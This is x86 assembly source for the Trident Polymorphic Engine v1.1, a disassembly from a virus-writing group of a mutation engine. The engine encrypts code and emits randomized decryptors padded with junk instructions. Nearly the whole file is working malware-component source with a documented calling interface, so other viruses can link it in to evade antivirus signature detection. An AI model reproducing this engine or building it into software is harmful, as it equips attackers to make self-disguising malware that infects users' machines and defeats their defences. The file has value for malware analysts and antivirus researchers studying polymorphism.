.radix 16 ;============================================================================= ; = ; Trident Polymorphic Engine v1.1 = ; ------------------------------- = ; = ; Dissassembled by: Lucifer Messiah -- ANARKICK SYSTEMS = ; = ; This dissassembly uses as many of the labels from the = ; TPE v1.2 dissassembly as possible, to allow comparison = ; = ;----------------------------------------------------------------------------= ; = ; Trident Polymorphic Engine v1.1 = ; ------------------------------- = ; = ; Input: = ; ES Work Segment = ; DS:DX Code to be encrypted = ; BP Becomes offset of TPE = ; SI Distance to put between decryptor and code = ; CX Length of code to encrypt = ; AX Bit Field Flags: bit 0: DS will not be equal to CS = ; bit 1: insert random instructions = ; bit 2: put junk before decryptor = ; bit 3: Preserve AX with decryptor = ; = ; Output: = ; ES Work Segment (preserved) = ; DS:DX Decryptor + encrypted code = ; BP Start of decryptor (preserved) = ; DI Length of decryptor/offset of encrypted code = ; CX Length of decryptor + encrypted code = ; AX Length of encrypted code = ; = ;============================================================================= .model tiny .code org 0 public rnd_init public rnd_get public crypt public tpe_top public tpe_bottom tpe_top equ $ db '[ MK / TridenT ]' ;encryptor name crypt: xor di,di call dword ptr ds:[5652h] ;???? push cs ;save registers pop ds mov byte ptr flags,al test al,8 je no_push mov al,50h stosb no_push: call rnd_get ;add a few bytes to cx and ax,1fh add cx,ax push cx ;save length of code call rnd_get ;get random flags xchg ax,bx ;--- Flags: ----------------------------------------------- ; ; 0,1 encryption method ; 2,3 which registers to use in encryption engine ; 4 use byte or word for encrypt ; 5 MOV AL, MOV AH, or MOV AX ; 6 MOV CL, MOV CH, or MOV CX ; 7 AX or DX ; 8 count up or down ; 9 ADD/SUB/INC/DEC or CMPSW/SCASW ; A ADD/SUB or INC/DEC ; CMPSW or SCASW ; B offset in XOR instrucion? ; C LOOPNZ or LOOP ; SUB CX or DEC CX ; D carry with crypt ADD/SUB ; E carry with inc ADD/SUB ; F XOR instruction value or AX/DX ; ;---------------------------------------------------------- random: call rnd_get ;get encryption value or al,al ;is it a 0? je random ;redo it if it is mov word ptr xor_val,ax ;store non-zero encryptor call do_junk ;insert random instructions pop cx mov ax,0111h ;make flags to remember which test bl,20h ; MOV instructions are used jne z0 xor al,07 z0: test bl,0ch jne z1 xor al,70h z1: test bl,40h jne z2 xor ah,7 z2: test bl,10h jne z3 and al,73h z3: test bh,80h jne z4 and al,70h z4: mov dx,ax mov_lup: call rnd_get ;put MOV instrucions in a and ax,0fh ; random order cmp al,0ah ja mov_lup mov si,ax ; push cx ;test if MOV already done xchg ax,cx mov ax,1 shl ax,cl mov cx,ax and cx,dx pop cx je mov_lup xor dx,ax ;remember which MOV done push dx call do_mov call do_nop ;insert a random NOP pop dx or dx,dx ;all MOVs done? jne mov_lup push di ;save start of decryptor loop call do_add_ax ;ADD AX for loop call do_nop test bh,20h ;carry with ADD/SUB? je no_clc mov al,0f8h stosb no_clc: mov word ptr xor_offset,0 call do_xor ;place all loop instructions call do_nop call do_add pop dx ;get start of decryptor loop call do_loop test byte ptr store_mov,8 ;insert POP AX? je no_pop mov al,58h stosb no_pop: xor ax,ax test bh,01 je no_pop2 mov ax,cx dec ax test bl,10h je no_pop2 and al,0feh no_pop2: add ax,di ;calculate loop offset add ax,bp pop si add ax,si sub ax,word ptr xor_offset mov si,word ptr where_len test bl,0ch ;are BL,BH used for encryption? jne v2 mov byte ptr es:[si],al mov si,word ptr where_len2 mov byte ptr es:[si],ah jmp short v3 v2: mov word ptr es:[si],ax v3: mov dx,word ptr xor_val pop si ;ds:si=start of code pop ds push di ;save pointer to start of code push cx ; and length of encrypted code test bl,10h ;byte or word? je blup inc cx ;cx=# of crypts (words) shr cx,1 lup: lodsw ;encrypt code (words) call do_encrypt stosw loop lup jmp short klaar blup: lodsb ;encrypt code (bytes) xor dh,dh call do_encrypt stosb loop blup klaar: mov cx,di ;cx=lenth decryptor + code pop ax ;ax=length of decrypted code pop di ;offset encrypted code xor dx,dx ;ds:dx=decryptor + cr code push es pop ds retn ;--- Encrypt the Code ------------------------------------- do_encrypt: add dx,word ptr cs:add_val test bl,02 jne lup1 xor ax,dx retn lup1: test bl,01 jne lup2 sub ax,dx retn lup2: add ax,dx retn ;--- Generate MOV reg,xxxx -------------------------------- do_mov: mov dx,si mov al,byte ptr ds:mov_byte[si] cmp dl,04 ;bx? jne is_not_bx call add_ind is_not_bx: test dl,0ch ;a*? pushf jne is_not_a test bl,80h ;a* or d*? je is_not_a add al,02 is_not_a: call alter ;insert the MOV A* popf jne is_not_a2 mov ax,word ptr ds:xor_val jmp short sss is_not_a2: test dl,08 ;b*? jne is_not_b mov si,offset where_len test dl,2 je is_not_bh add si,2 is_not_bh: mov word ptr [si],di jmp short sss is_not_b: mov ax,cx ;c*? test bl,10h ;byte or word encrypt? je sss inc ax ;only 1/2 the number of bytes shr ax,1 sss: test dl,3 ;byte or word register? je is_x test dl,2 ;*h? je is_not_h xchg ah,al is_not_h: stosb retn is_x: stosw retn ;--- Insert MOV or alternative for MOV -------------------- alter: push bx push cx push ax call rnd_get xchg ax,bx pop ax test bl,3 ;use alternative for MOV? je no_alter push ax and bx,0fh and al,8 shl ax,1 or bx,ax pop ax and al,7 mov cl,9 xchg ax,cx mul cl add ax,30c0h xchg ah,al test bl,4 je no_sub mov al,28h no_sub: call maybe_2 stosw mov al,80h call maybe_2 stosb lea ax,word ptr alt_code xchg ax,bx and ax,3 xlat add al,cl no_alter: stosb pop cx pop bx retn ;--- Insert ADD AX,xxxx ----------------------------------- do_add_ax: push cx lea si,add_val mov word ptr [si],0 ;save ADD val mov ax,bx and ax,8110h xor ax,8010h jne no_add_ax ;use ADD? mov ax,bx xor ah,ah mov cl,3 div cl or ah,ah jne no_add_ax ;use ADD? test bl,80h jne do_81C2 ;AX or DX? mov al,5 stosb jmp short do_add0 do_81C2: mov ax,0c281h stosw do_add0: call rnd_get mov word ptr [si],ax stosw no_add_ax: pop cx retn ;--- generate encryption command -------------------------- do_xor: test byte ptr ds:flags,1 je no_cs mov al,2eh ;insert CS: instruction stosb no_cs: test bh,80h ;type of XOR command je xor1 call get_xor call do_carry call save_it xor ax,ax test bl,80h je xxxx add al,10h xxxx: call add_dir test bh,8 jne yyyy stosb retn yyyy: or al,80h stosb call rnd_get stosw mov word ptr ds:xor_offset,ax retn xor1: mov al,80h ;encrypt with value call save_it call get_xor call do_carry call xxxx mov ax,word ptr ds:xor_val test bl,10h jmp byte_word ;--- generate increase/decrease command ------------------- do_add: test bl,8 ;no CMPSW/SCASW if BX is used je da0 test bh,2 ;ADD/SUB/INC/DEC or CMPSW/SCASW jne do_cmpsw da0: test bh,4 ;ADD/SUB or INC/DEC? je add1 mov al,40h ;INC/DEC test bh,01 je add0 add al,8 add0: call add_ind stosb test bl,10h je return stosb return: retn add1: test bh,40h ;ADD/SUB je no_clc2 ;carry? mov al,0f8h ;insert CLC stosb no_clc2: mov al,83h stosb mov al,0c0h test bh,01 je b0627f mov al,0e8h ;insert XXX b0627f: test bh,40h je add2 and al,0cfh or al,10h add2: call add_ind stosb mov al,01 save_it: call add_1 stosb retn b06293: test bh,01 je do_cmpsw mov al,0fdh ;add XXX stosb do_cmpsw: test bh,4 ;CMPSE or SCASW? je normal_cmpsw test bl,4 ;no SCASW if SI is used jne do_scasw normal_cmpsw: mov al,0a6h jmp short save_it do_scasw: mov al,0aeh jmp short save_it ;--- generate LOOP command -------------------------------- do_loop: test bh,01 ;no JNE if counting down jne do_loop2 call rnd_get test al,01 jne cx_loop do_loop2: mov al,0e0h ;LOOPNZ or LOOP? test bh,1ah ; no LOOPNZ if xor-offset je l10 ; no LOOPNZ if CMP/SCASW add al,2 l10: stosb mov ax,dx sub ax,di dec ax stosb retn cx_loop: test bh,10h ;SUB CX or DEC CX? jne cx1_dec mov ax,0e983h stosw mov al,1 stosb jmp short do_jne cx1_dec: mov al,49h stosb do_jne: mov al,75h jmp short l10 ;--- add value to AL depending on register type ----------- add_dir: lea si,word ptr dir_change jmp short xx1 add_ind: lea si,word ptr ind_change xx1: push bx shr bl,1 shr bl,1 and bx,3 add al,byte ptr [bx+si] pop bx retn ;--- move encyryption command byte to AL ------------------ get_xor: push bx lea ax,word ptr how_mode xchg ax,bx and ax,3 xlat pop bx retn ;--- change ADD to ADC ------------------------------------ do_carry: test bl,2 ;ADD/SUB used for encryption je no_ac test bh,20h je no_ac and al,0cfh or al,10h no_ac: retn ;--- change AL (byte/word) -------------------------------- add_1: test bl,10h je add_1_ret inc al add_1_ret: retn ;--- change AL (byte/word) -------------------------------- maybe_2: call add_1 ;can't touch this... cmp al,81h je maybe_not push ax call rnd_get test al,1 pop ax je maybe_not add al,2 maybe_not: retn ;--- insert random instructions --------------------------- do_nop: test byte ptr ds: flags,2 yes_nop: je no_nop call rnd_get test al,3 je nop8 test al,2 je nop16 b0633b equ $+01h test al,1 je nop16x no_nop: retn ;--- insert random nop (or not) --------------------------- do_junk: test byte ptr ds:flags,4 je no_junk call rnd_get ;put a random number of and ax,0fh ; dummy instructions before inc ax ; decryptor xchg ax,cx junk_loop: call junk loop junk_loop no_junk: retn junk: call rnd_get and ax,01eh jmp short aa0 nop16x: call rnd_get and ax,6 aa0: xchg ax,si call rnd_get jmp word ptr ds:junk_cals[si] ;----------------------------------------------------- junk_cals: dw offset nop16x0 dw offset nop16x1 dw offset nop16x2 dw offset nop16x3 dw offset nop8 dw offset nop16 dw offset junk6 dw offset junk7 dw offset junk8 dw offset junk9 dw offset junkA dw offset junkB dw offset junkC dw offset junkD dw offset junkE dw offset junkF ;----------------------------------------------------- nop16x0: add byte ptr [si],cl ;J* 0000 (conditional) jo yes_nop ;jump on overflow retn nop16x1: mov al,0ebh ;JMP xxxx/junk and ah,7 inc ah stosw xchg ah,al ;get length of bullshit cbw ;convert AL to AX jmp fill_bullshit nop16x2: call junkD ;XCHG AX,reg/XCHG AX,reg stosb retn nop16x3: call junkF ;INC/DEC or DEC/INC xor al,8 stosb retn nop8: push bx and al,7 lea bx,word ptr nop_data8 xlat stosb pop bx retn nop16: push bx and ax,0303h lea bx,word ptr nop_data16 xlat add al,ah stosb call rnd_get and al,7 mov bl,9 mul bl add al,0c0h stosb pop bx retn junk6: push cx mov al,0e8h and ah,0fh ;CALL xxxx/junk/POP reg inc ah stosw xor al,al stosb xchg ah,al call fill_bullshit call do_nop call rnd_get ;insert POP reg and al,7 call no_sp mov cx,ax or al,58h stosb test ch,3 ;more? jne junk6_ret call do_nop mov ax,0f087h ;insert XCHG SI,reg or ah,cl test ch,8 je j6_1 mov al,8bh j6_1: stosw call do_nop push bx call rnd_get xchg ax,bx and bx,0f7fbh ;insert XOR [SI],xxxx or bl,8 call do_xor pop bx junk6_ret: pop cx retn junk7: and al,0fh ;MOV reg,xxxx or al,0b0h call no_sp stosb test al,8 pushf call rnd_get popf jmp short byte_word junk8: and ah,39h ;DO r/m,r(8,16) or al,0c0h call no_sp xchg ah,al stosw retn junk9: and al,3bh ;DO r(8,16),r/m or al,2 and ah,3fh call no_sp2 call no_bp stosw retn junkA: and ah,1 ;DO rm,xxxx or ax,80c0h call no_sp xchg ah,al stosw test al,1 pushf call rnd_get popf jmp short byte_word junkB: call nop8 ;NOP/LOOP mov ax,0fde2h stosw retn junkC: and al,9 ;CMPS* or SCAS* test ah,1 je mov_test or al,0a6h stosb retn mov_test: or al,0a0h ;MOV AX,[xxxx] or TEST AX,xxxx stosb cmp al,0a8h pushf call rnd_get popf jmp short byte_word junkD: and al,7 ;XCHG AX,reg or al,90h call no_sp stosb retn junkE: and ah,7 or ah,50h mov al,ah or ah,8 stosw retn junkF: and al,0fh ;INC/DEC or al,40h call no_sp stosb retn ;--- store a byte or a word ------------------------------- byte_word: je only_byte stosw retn only_byte: stosb retn ;--- don't fuck with sp ----------------------------------- no_sp: push ax and al,7 cmp al,4 pop ax jne no_sp_ret and al,0fbh no_sp_ret: retn ;--- don't fuck with sp ----------------------------------- no_sp2: push ax and ah,38h cmp ah,20h pop ax jne no_sp2_ret xor ah,20h no_sp2_ret: retn ;--- don't use [bp + ..] ---------------------------------- no_bp: test ah,4 jne no_bp2 and ah,0fdh retn no_bp2: push ax and ah,7 cmp ah,6 pop ax jne no_bp_ret or ah,1 no_bp_ret: retn ;--- write byte for JMP/CAL and fill with random bullshit - fill_bullshit: push cx xchg ax,cx bull_lup: call rnd_get stosb loop bull_lup pop cx retn ;--- random number generator ------------------------------ rnd_init: push ax push cx call random_init0 and ax,0h inc ax xchg ax,cx random_lup: call rnd_get ;cal random routine a few loop random_lup ; times to 'warm up' pop cx pop ax retn random_init0: push dx ;initialize generator push cx mov ah,2ch int 21h ;get time CH,CL:DH,DL in al,40h ;timer mov ah,al in al,40h ;timer xor ax,cx xor dx,ax jmp short mov_rnd rnd_get: push dx ;calculate random number push cx push bx in al,40h d06502 equ $+01h add ax,0000h d06505 equ $+01h mov dx,0000h mov cx,0007h rnd_lup: shl ax,1 rcl dx,1 mov bl,al xor bl,dh jns rnd_12 inc al rnd_12: loop rnd_lup pop bx mov_rnd: mov word ptr cs:d06502,ax mov word ptr cs:d06505,dx mov al,dl pop cx pop dx retn ;----------------------------------------------------- ;.data mov_byte db 0b8,0b0,0b4,00 ;AX,AL,AH,.. db 0b8,0b3,0b7,00 ;BX,GL,GH,.. db 0b9,0b1,0b5 ;CX,CL,CH nop_data8 db 90,0f8,0f9,0f5 ;NOP,CLC,STC,CMC db 0fa,0fc,45,4dh ;CLI,CLD,INC BP,DEC BP nop_data16 db 08,20,84,88 ;OR,AND,XCHG,MOV dir_change db 07,07,04,05 ;BL/BH,BX,SI,DI ind_change db 03,03,06,07 ;BL/BH,BX,SI,DI how_mode db 30,30,00,28 ;XOR,XOR,ADD,SUB alt_code dw 0c800h,0c0f0h ;ADD AL,CL,???? add_val dw 0 xor_val dw 0 xor_offset dw 0 where_len dw 0 where_len2 dw 0 store_mov db 0 flags db 0 db '[TPE 1.1]' tpe_bottom equ $ end tpe_top